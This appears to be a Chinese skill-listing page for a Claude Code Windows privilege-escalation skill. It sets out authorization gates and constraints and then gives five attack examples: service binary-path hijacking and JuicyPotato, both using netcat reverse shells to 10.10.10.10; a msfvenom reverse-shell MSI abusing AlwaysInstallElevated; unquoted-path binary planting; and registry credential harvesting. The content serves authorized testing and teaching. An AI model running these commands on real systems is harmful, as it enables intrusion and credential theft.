关于 windows-privilege-escalation
这是一项用于经授权的 Windows 权限提升评估和受控安全学习的技能。它介绍检查与利用流程,并要求在主动操作前明确目标范围、书面授权、命令审阅和确认。
主要功能
- 01要求提供目标和书面授权
- 02先展示命令及预期影响
- 03涵盖 Windows 权限提升技术
- 04未确认时仅提供防御指导
适用场景
- 01在实验环境审查权限提升风险
- 02经授权验证 Windows 安全控制
- 03在沙箱中学习权限提升方法
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill windows-privilege-escalation安装后在 Claude Code 中输入/windows-privilege-escalation确认已加载。
附带文件references/detailed-guide.md
详细介绍
⚠️ 仅限授权使用 此技能仅用于教育目的或经授权的安全评估。 在使用此工具前,你必须获得系统所有者的明确书面许可。 滥用此工具属于违法行为,将被严格禁止。
强制确认关卡 在运行任何针对目标进行探测、利用、更改、驻留、提取数据或尝试凭据访问的命令之前:
- 要求用户说明确切的 target URL、IP、账号或资源。
- 要求用户确认已获得书面授权以及允许的范围。
- 展示确切的命令并解释其预期效果。
- 在当前对话中等待明确确认。
如果没有该确认,请保持只读状态,仅提供防御性指导。优先使用沙箱、一次性 VM 或受控实验环境。
仅限授权使用:仅将此技能用于经授权的安全评估、防御性验证或受控教育环境。
Windows 权限提升
详细指南
在执行此技能之前,请阅读详细指南。其中保留了完整流程和参考资料。将其安全、前提条件和验证要求视为强制要求。对于聚焦工作,加载相关章节;对于端到端工作,请完整阅读指南。
约束与限制
操作边界
- 内核漏洞利用可能导致系统不稳定
- 某些漏洞利用需要特定的 Windows 版本
- AV/EDR 可能会检测并阻止常见工具
- 令牌模拟需要服务账号上下文
- 某些技术需要 GUI 访问权限
检测注意事项
- 凭据转储会触发安全警报
- 服务修改会记录在事件日志中
- PowerShell 执行可能会被监控
- AV 会检测已知漏洞利用特征
法律要求
- 仅测试已获得书面授权的系统
- 记录所有提升尝试
- 避免中断生产系统
- 通过适当渠道报告所有发现
示例
示例 1:服务二进制路径利用
# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS
# Check current config
sc.exe qc MyService
# Stop service and change binary path
sc.exe stop MyService
sc.exe config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc.exe start MyService
# Catch shell as SYSTEM
示例 2:AlwaysInstallElevated 利用
# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1
# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi
# Catch SYSTEM shell
示例 3:JuicyPotato 令牌模拟
# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled
# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# Catch SYSTEM shell
示例 4:未加引号的服务路径
# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe
# Check the ACTUAL executable candidate parent; write access to the final app folder
# does not imply write access to C:\Program Files. Confirm service identity/restart rights too.
icacls "C:\Program Files"
# Result: Users:(W)
# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
# Restart service
sc.exe stop "Vuln App"
sc.exe start "Vuln App"
示例 5:从注册表收集凭据
# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123
# Credential use requires its own confirmed scope; prefer interactive password entry.
runas /user:Administrator cmd.exe
# Never place a discovered password in argv, transcripts or the report.
何时使用
此技能适用于执行概述中描述的工作流或操作。
评论
支持 Markdown